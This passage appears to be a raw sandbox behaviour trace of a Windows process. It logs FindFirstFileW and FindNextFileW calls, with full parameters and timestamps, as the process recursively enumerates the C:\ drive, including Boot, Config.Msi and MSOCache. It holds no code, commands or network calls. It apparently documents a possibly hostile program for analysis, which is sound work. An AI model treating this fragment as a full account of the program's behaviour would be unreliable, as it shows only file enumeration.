ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.942] FindClose (in: hFindFile=0x975280 | out: hFindFile=0x975280) returned 1 [0033.942] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x39406e8 | out: hHeap=0x880000) returned 1 [0033.942] FindNextFileW (in: hFindFile=0x974238, lpFindFileData=0x352fa84 | out: lpFindFileData=0x352fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0033.942] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x39406e8 [0033.942] FindFirstFileW (in: lpFileName="C:\\Boot\\ru-RU\\*", lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x975280 [0033.942] FindNextFileW (in: hFindFile=0x975280, lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.942] FindNextFileW (in: hFindFile=0x975280, lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.942] FindClose (in: hFindFile=0x975280 | out: hFindFile=0x975280) returned 1 [0033.943] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x39406e8 | out: hHeap=0x880000) returned 1 [0033.943] FindNextFileW (in: hFindFile=0x974238, lpFindFileData=0x352fa84 | out: lpFindFileData=0x352fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0033.943] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x39406e8 [0033.943] FindFirstFileW (in: lpFileName="C:\\Boot\\sv-SE\\*", lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x975280 [0033.943] FindNextFileW (in: hFindFile=0x975280, lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.943] FindNextFileW (in: hFindFile=0x975280, lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.943] FindClose (in: hFindFile=0x975280 | out: hFindFile=0x975280) returned 1 [0033.943] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x39406e8 | out: hHeap=0x880000) returned 1 [0033.943] FindNextFileW (in: hFindFile=0x974238, lpFindFileData=0x352fa84 | out: lpFindFileData=0x352fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0033.943] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x39406e8 [0033.943] FindFirstFileW (in: lpFileName="C:\\Boot\\tr-TR\\*", lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x975280 [0033.944] FindNextFileW (in: hFindFile=0x975280, lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.944] FindNextFileW (in: hFindFile=0x975280, lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.944] FindClose (in: hFindFile=0x975280 | out: hFindFile=0x975280) returned 1 [0033.944] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x39406e8 | out: hHeap=0x880000) returned 1 [0033.944] FindNextFileW (in: hFindFile=0x974238, lpFindFileData=0x352fa84 | out: lpFindFileData=0x352fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0033.944] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x39406e8 [0033.944] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-CN\\*", lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x975280 [0033.945] FindNextFileW (in: hFindFile=0x975280, lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.945] FindNextFileW (in: hFindFile=0x975280, lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.945] FindClose (in: hFindFile=0x975280 | out: hFindFile=0x975280) returned 1 [0033.945] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x39406e8 | out: hHeap=0x880000) returned 1 [0033.945] FindNextFileW (in: hFindFile=0x974238, lpFindFileData=0x352fa84 | out: lpFindFileData=0x352fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0033.945] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x39406e8 [0033.945] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-HK\\*", lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x975280 [0033.946] FindNextFileW (in: hFindFile=0x975280, lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.946] FindNextFileW (in: hFindFile=0x975280, lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.946] FindClose (in: hFindFile=0x975280 | out: hFindFile=0x975280) returned 1 [0033.946] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x39406e8 | out: hHeap=0x880000) returned 1 [0033.946] FindNextFileW (in: hFindFile=0x974238, lpFindFileData=0x352fa84 | out: lpFindFileData=0x352fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0033.946] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x39406e8 [0033.946] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-TW\\*", lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x975280 [0033.946] FindNextFileW (in: hFindFile=0x975280, lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.946] FindNextFileW (in: hFindFile=0x975280, lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.946] FindClose (in: hFindFile=0x975280 | out: hFindFile=0x975280) returned 1 [0033.946] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x39406e8 | out: hHeap=0x880000) returned 1 [0033.946] FindNextFileW (in: hFindFile=0x974238, lpFindFileData=0x352fa84 | out: lpFindFileData=0x352fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0033.946] FindClose (in: hFindFile=0x974238 | out: hFindFile=0x974238) returned 1 [0033.946] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x39306e0 | out: hHeap=0x880000) returned 1 [0033.946] FindNextFileW (in: hFindFile=0x9731f0, lpFindFileData=0x352fd00 | out: lpFindFileData=0x352fd00*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0x1002f, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0033.947] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x39306e0 [0033.947] FindFirstFileW (in: lpFileName="C:\\Config.Msi\\*", lpFindFileData=0x352fa84 | out: lpFindFileData=0x352fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x974238 [0033.947] FindNextFileW (in: hFindFile=0x974238, lpFindFileData=0x352fa84 | out: lpFindFileData=0x352fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.947] FindNextFileW (in: hFindFile=0x974238, lpFindFileData=0x352fa84 | out: lpFindFileData=0x352fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0033.947] FindClose (in: hFindFile=0x974238 | out: hFindFile=0x974238) returned 1 [0033.947] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x39306e0 | out: hHeap=0x880000) returned 1 [0033.947] FindNextFileW (in: hFindFile=0x9731f0, lpFindFileData=0x352fd00 | out: lpFindFileData=0x352fd00*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0033.947] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x39306e0 [0033.947] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\*", lpFindFileData=0x352fa84 | out: lpFindFileData=0x352fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="佘\x8d\x16")) returned 0xffffffff [0033.947] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x39306e0 | out: hHeap=0x880000) returned 1 [0033.947] FindNextFileW (in: hFindFile=0x9731f0, lpFindFileData=0x352fd00 | out: lpFindFileData=0x352fd00*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x56257dc0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x56257dc0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x52d3b900, ftLastWriteTime.dwHighDateTime=0x1d632de, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0033.947] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x39306e0 [0033.947] FindFirstFileW (in: lpFileName="C:\\MSOCache\\*", lpFindFileData=0x352fa84 | out: lpFindFileData=0x352fa84*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x974238 [0033.948] FindNextFileW (in: hFindFile=0x974238, lpFindFileData=0x352fa84 | out: lpFindFileData=0x352fa84*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.948] FindNextFileW (in: hFindFile=0x974238, lpFindFileData=0x352fa84 | out: lpFindFileData=0x352fa84*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="All Users", cAlternateFileName="ALLUSE~1")) returned 1 [0033.948] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x39406e8 [0033.948] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\*", lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x975280 [0033.950] FindNextFileW (in: hFindFile=0x975280, lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.413] FindNextFileW (in: hFindFile=0x975280, lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee38cbf0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0016-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90140~3")) returned 1 [0034.432] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x39106d0 [0034.435] FindNextFileW (in: hFindFile=0x9762c8, lpFindFileData=0x352f58c | out: lpFindFileData=0x352f58c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee38cbf0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.435] FindNextFileW (in: hFindFile=0x9762c8, lpFindFileData=0x352f58c | out: lpFindFileData=0x352f58c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x393df700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x393df700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xed035930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x102fcbb, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLR.cab", cAlternateFileName="")) returned 1 [0034.756] FindNextFileW (in: hFindFile=0x3ed1238, lpFindFileData=0x352f310 | out: lpFindFileData=0x352f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xdbe166c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdbe166c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.756] FindNextFileW (in: hFindFile=0x3ed1238, lpFindFileData=0x352f310 | out: lpFindFileData=0x352f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a0ba500, ftCreationTime.dwHighDateTime=0x1c982ad, ftLastAccessTime.dwLowDateTime=0x6086b2d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4a0ba500, 